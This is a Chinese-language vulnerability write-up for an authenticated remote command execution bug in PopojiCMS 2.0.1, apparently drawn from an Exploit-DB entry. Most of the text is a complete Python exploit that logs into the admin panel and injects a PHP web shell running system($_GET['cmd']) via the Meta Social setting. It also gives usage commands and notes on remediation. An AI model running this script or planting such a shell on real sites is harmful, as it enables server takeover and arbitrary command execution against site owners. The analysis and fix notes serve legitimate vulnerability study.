PopojiCMS 2.0.1 - Remote Command Execution (RCE)
字数 1088 2025-08-22 22:47:39
PopojiCMS 2.0.1 远程命令执行(RCE)漏洞分析与利用
漏洞概述
PopojiCMS 2.0.1版本存在一个远程命令执行漏洞,攻击者可以通过后台设置功能注入恶意代码,从而在服务器上执行任意系统命令。
受影响版本
- PopojiCMS 2.0.1
漏洞原理
该漏洞由两部分组成:
- 注入部分:后台的Meta Social设置功能未对用户输入进行过滤,允许直接写入恶意代码到
meta_social.txt文件中 - 调用部分:前端代码直接包含
meta_social.txt文件内容且未做任何过滤
具体流程:
- 攻击者通过后台登录
- 向
/po-admin/route.php?mod=setting&act=metasocial提交恶意代码 - 代码被写入
/po-admin/po-content/component/setting/meta_social.txt - 前端
index.php文件包含meta_social.txt内容 - 恶意代码被执行
漏洞利用步骤
1. 准备环境
下载受影响版本:
https://github.com/PopojiCMS/PopojiCMS/archive/refs/tags/v2.0.1.zip
2. 利用过程
使用以下Python脚本进行利用:
import requests
import time
import sys
def exploit(url, username, password):
# 登录
login_url = f"{url}/po-admin/route.php?mod=login&act=proclogin"
login_data = {
"username": username,
"password": password
}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Referer": f"{url}/po-admin/index.php"
}
session = requests.Session()
login_response = session.post(login_url, data=login_data, headers=headers)
if "Administrator PopojiCMS" in login_response.text:
print("Login Successful!")
time.sleep(1)
else:
print("Login Failed!")
return
# 注入恶意代码
edit_url = f"{url}/po-admin/route.php?mod=setting&act=metasocial"
edit_data = {
"meta_content": """<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>"""
}
edit_response = session.post(edit_url, data=edit_data, headers=headers)
if "cmd" in edit_response.text:
print("Your shell is ready:", url)
time.sleep(1)
else:
print("Exploit Failed!")
return
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: python exploit.py sitename username password")
sys.exit(1)
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
print("Exploiting...")
time.sleep(1)
print("Logging in...")
time.sleep(1)
exploit(url, username, password)
使用方式:
python exploit.py <目标URL> <用户名> <密码>
3. 执行命令
注入成功后,访问网站根目录并附加cmd参数执行命令:
http://target-site.com/?cmd=whoami
漏洞分析
关键文件
-
注入点:
/po-admin/route.php?mod=setting&act=metasocial- 对应处理代码在
/po-admin/po-contents/component/setting模块中的metasocial函数
-
代码写入位置:
/po-admin/po-content/component/setting/meta_social.txt
-
代码包含点:
po-content/themes/chingsy/index.php中包含meta_social.txt内容
漏洞触发流程
- 攻击者提交恶意代码到Meta Social设置
- 代码被直接写入
meta_social.txt - 前端
index.php包含该文件 - 恶意代码被执行
修复方案
官方在v3.0.0版本中直接移除了该功能点。
临时修复建议:
- 对Meta Social设置输入进行严格过滤
- 对包含的文件内容进行安全检查
- 升级到最新版本
参考链接
- Exploit-DB: https://www.exploit-db.com/exploits/52022
- PopojiCMS下载: https://github.com/PopojiCMS/PopojiCMS/archive/refs/tags/v2.0.1.zip